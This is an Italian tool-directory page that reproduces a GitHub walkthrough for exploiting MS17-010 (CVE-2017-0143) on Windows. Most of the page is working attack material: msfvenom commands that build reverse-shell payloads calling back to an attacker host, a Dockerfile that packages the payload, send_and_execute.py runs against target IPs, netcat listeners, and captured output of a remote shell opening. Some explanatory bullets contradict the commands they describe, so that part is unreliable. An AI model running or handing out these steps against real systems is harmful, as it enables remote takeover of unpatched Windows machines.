Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/h3x0v3rl0rd/ms17-010_cve-2017-0143
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodePenetration TestingStrumento di Accesso Remoto
GitHubh3x0v3rl0rd/ms17-010_cve-2017-0143

MS17-010_CVE-2017-0143

MS17-010_CVE-2017-0143

Vedi Repository
401431 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MS17-010

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143

Docker

Usare msfvenom per generare un Payload:

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe
  • -p windows/shell_reverse_tcp: Specifica il payload (una shell TCP inversa per Windows).
  • LHOST=10.10.14.4: L'indirizzo IP dell'attaccante (dove il target si riconnetterà).
  • LPORT=443: La porta sulla macchina dell'attaccante su cui ascoltare la connessione.
  • -f exe: Produce il payload come file eseguibile.
  • -a x86: Specifica l'architettura (32-bit).
  • -o rev.exe: Salva il payload come rev.exe.
Scarica lo strumento

Impostazione di un Contenitore Docker:

  • Perché usare Docker?
    • Docker fornisce un ambiente consistente e isolato per eseguire l'exploit.
    • Evita problemi di dipendenze (es. conflitti di versione di Python, librerie mancanti).

Passaggi per configurare Docker:

root@kitploit:~
sudo apt-get install docker.io

Creare la struttura di cartelle:

root@kitploit:~
mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt
  • Dockerfile: Contiene le istruzioni per costruire il contenitore Docker.
  • requirements.txt: Elenca le dipendenze Python (es. impacket).

Scrivere il Dockerfile:

root@kitploit:~
FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt
  • FROM python:2.7-alpine: Usa un'immagine leggera di Alpine Linux con Python 2.7.
  • RUN apk --update --no-cache add: Installa le dipendenze necessarie (es. git, gcc).
  • COPY rev.exe /opt/cattime: Copia l'eseguibile della shell inversa (rev.exe) nel contenitore.
  • RUN pip install -r requirements.txt: Installa le dipendenze Python (es. impacket).

Costruire il Contenitore Docker:

root@kitploit:~
sudo docker build -t exploit .

Eseguire il Contenitore:

root@kitploit:~
sudo docker run -it exploit /bin/sh

Scaricare ed eseguire l'exploit:

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
root@kitploit:~
cd MS17-010_CVE-2017-0143
root@kitploit:~
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

Reverse Shell:

root@kitploit:~
nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Metodi Precedenti

Metodo 1

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe

crea un listener nc

root@kitploit:~
nc -nlvp 1337

exploit

root@kitploit:~
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

image

Nel caso in cui si riceva un errore come questo, seguire questi passaggi:

root@kitploit:~
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket

Ora possiamo eseguire l'exploit : image

image

Metodo 2

Ora, questo exploit è creato in Python 2 e richiede alcune librerie come impacket, pycrypto. Per questo, è necessario impostare un ambiente virtuale e qui il programma virtualenv aiuta. Una volta creato l'ambiente, puoi attivarlo usando il programma source. Qui Python 2 viene usato come interprete perché nell'ultima versione di Kali Python 3 è impostato come interprete globale e il nostro exploit è in Python 2.

Perché usiamo un ambiente virtuale? Per questo puoi dare un'occhiata a questo: https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/

root@kitploit:~
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

image

image

root@kitploit:~
python checker.py 10.10.10.4

image

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

image

root@kitploit:~
python send_and_execute.py 10.10.10.4 shell.exe 445 browser

image

root@kitploit:~
nc -nlvp 4445

image